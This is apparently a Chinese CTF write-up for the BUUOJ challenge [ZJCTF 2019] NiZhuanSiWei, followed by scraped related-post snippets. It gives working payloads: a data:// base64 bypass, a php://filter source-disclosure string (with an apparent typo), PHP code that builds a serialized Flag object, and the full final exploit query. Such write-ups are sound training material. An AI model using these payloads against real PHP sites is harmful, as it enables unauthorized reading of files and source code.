题目地址：https://buuoj.cn/challenges

解题思路

第一步：进入题目，展示了php代码

第二步：使用data协议绕过text参数检测

经过代码分析，text参数不能为空，且根据text参数所指定的文件名字读取出来与字符串welcome to the zjctf进行比较。
使用data协议进行绕过文件读取，将welcome to the zjctf进行64编码后得到：d2VsY29tZSB0byB0aGUgempjdGY=，传入参数text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

第三步：使用filter查看useless.php

审计代码看出file参数需要传入useless.php，用于加载useless.php之后对password进行反序列化，再打印password
使用filter查看useless.php，构造参数file=php://filter:read=convert.base64-encode/resource=useless.php，得到一串base64编码，解码的到

<?php  class Flag{  //flag.php  public $file;  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }
}

第四步：构造password参数获取flag

通过审计uselsee.php得知，password需要传入Flag对象，且对象中file的值为flag.php。
在第一步中得知password经过了反序列化，所以要传入序列化的Flag对象。
构造php文件获取序列化对象，结果为：O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

<?php
class Flag{  //flag.php  public $file='flag.php';  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }
}
$a = serialize(new Flag("flag.php"));
echo $a
?>

最终参数为：?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

第二十四题——[ZJCTF 2019]NiZhuanSiWei相关推荐

第二十四天：2019年第九届MathorCup高校数学建模挑战赛A题
之前发了一篇文章,审核未通过- 不过没有关系,释然又双叒叕回来啦!这个暑假,数模.算法.名著.高数.英语都是不可辜负的哟! 今天是释然发题解的第二十三天,以后经常会和大家分享学习路上的心得,希望和大家 ...
【第二十四题】逻辑闭环（北理工/北京理工大学/程序设计方法与实践/小学期）
目录 Description 思路代码 Description 小张是一位推理迷,他非常喜欢看侦探小说与侦探电影.同时他也会玩一些推理游戏,在侦探游戏中,小张需要发掘事件之间的联系.通过一条线索,他 ...
经典算法题每日演练——第二十四题梳排序
这篇再看看一个经典的排序,梳排序,为什么取名为梳,可能每个梳都有自己的gap吧,大梳子gap大一点,小梳子gap小一点. 上一篇我们看到鸡尾酒排序是在冒泡排序上做了一些优化,将单向的比较变成了双向,同 ...
第四章第二十六题（金融应用：货币单位）(Financial application: monetary units)
第四章第二十六题(金融应用:货币单位)(Financial application: monetary units) *4.26(金融应用:货币单位)重写程序清单2-10,解决将float型值转换为i ...
第十四题: 以下代码的输出结果是？
第十四题: 以下代码的输出结果是? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class B { public static B t1 = n ...
第二十四届全国发明展览会佛山闭幕
11月21日,为期三天的第二十四届全国发明展览会--一带一路暨金砖国家技能发展与技术创新大赛在佛山闭幕,一批为技术和产业进步.为增进社会福祉做出突出贡献的发明创新项目和领军人才获得了表彰.第十一届全国 ...
【正点原子FPGA连载】第二十四章 RTC实时时钟LCD显示实验-摘自【正点原子】领航者ZYNQ之FPGA开发指南_V2.0
1)实验平台:正点原子领航者ZYNQ开发板 2)平台购买地址:https://item.taobao.com/item.htm?&id=606160108761 3)全套实验源码+手册+视频下 ...
2021-09-01[ZJCTF 2019]NiZhuanSiWei
[ZJCTF 2019]NiZhuanSiWei 首先根据连接打开得到一个,PHP源码: 根据源码分析,我们需要GET三个参数分别是:text,file,password 首先需要检查是否对text传 ...
code第一部分数组：第二十二题偶数次中查找单独出现一次的数
code第一部分数组:第二十二题偶数次中查找单独出现一次的数 Given an array of integers, every element appears twice except for o ...

第二十四题——[ZJCTF 2019]NiZhuanSiWei

题目地址：https://buuoj.cn/challenges

解题思路

第一步：进入题目，展示了php代码

第二步：使用data协议绕过text参数检测

第三步：使用filter查看useless.php

第四步：构造password参数获取flag

第二十四题——[ZJCTF 2019]NiZhuanSiWei相关推荐

最新文章

热门文章